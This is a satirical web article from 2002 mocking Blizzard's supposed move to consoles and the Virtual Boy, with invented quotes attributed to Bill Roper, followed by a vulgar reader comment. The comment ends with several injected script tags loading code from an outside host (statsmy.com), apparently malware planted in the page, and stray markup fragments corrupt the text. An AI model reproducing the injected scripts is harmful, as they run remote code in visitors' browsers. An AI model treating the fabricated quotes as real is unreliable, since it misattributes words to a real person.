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Blizzard goes Virtual
by Kris on 9/20/2002 (1)

First you make the games, then you screw the fans, then you get the money.
In the year of 1996, Blizzard put itself on the map of the great PC game developers, joining giants such as id software and those guys that made Myst, and straight into the hearts of gamers with it's release of the blockbuster Warcraft II. This game was unlike anything that had come before it, excluding Warcraft I and Command & Conquer. It sold millions of copies and amassed a hugely loyal following. In the years that followed, Blizzard produced even more hits, such as Diablo I & II, Starcraft, and the recently released Warcraft III. All have sold millions and received critical acclaim. Just this past day, Blizzard announced their next masterpiece entitled Starcraft: Ghost. Unlike Blizzard's previous efforts as of late, this will be released as a console exclusive game, leaving all the loyal PC users asking themselves "Why Blizzard, why? What did I do to you? Why don't you love me? You said you loved me? What will the children think of this?" and grasping to make some sense of why Blizzard so easily left behind a market, and fan base, that has been so good to them for many years.

"We're tired of the PC and Mac fans," says Bill Roper, vice President of Blizzard Entertainment, "they're too fickle. Bill, you have to harvest lumber! Bill, I want to be able to harvest gold! Bill, you have a stupid haircut! You just can't please them, ever. We [Blizzard] spend years in development because it's never good enough for the computer gamers. It's more than I can handle, and it's more than I should have to handle. So that's why Ghost will be headed to the consoles. That, and the huge bag of money Microsoft offered me factored in a little bit too."

Now that Blizzard has moved on to developing their first console game in over ten years, one can only ask, what is next? "Virtual Boy," said Bill Roper. "Now that we've totally annihilated the PC market, we'd like to give a figurative kick in the teeth to the console market as well. Based on it's user base, the Virtual Boy is clearly the way to go. There are next to zero users worldwide using the Virtual Boy. This will allow us to freely develop a game without fear of any user feedback. Finally, we will be able to develop the game we want to develop. It will be a 3D role-playing-strategy-first-person-puzzle-driving game where the player controls a small block of cheese as it waits on a mousetrap to be eaten." While this concept does sound intriguing, it only leaves us wondering what happened to the Blizzard we once knew and loved, the Blizzard that developed kick-ass computer games that we had a special place in our hearts for. The more things change, the more they suck.h=0" hei


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Comments

1. by Matt on 3/1/2007 4:52:29 PM
Don't forget Blizzard is to become a MMORPG slut with "World Of Warcraft" which is for the PC(and Mac maybe, not that anyone would care). So for all you PC owning Blizzard fans stupid enough pay to a monthly fee... rejoice! Blizzard will do you up the anus just like Microsoft and EA. Why... its better than a prison sentence (although Bubba disagrees).ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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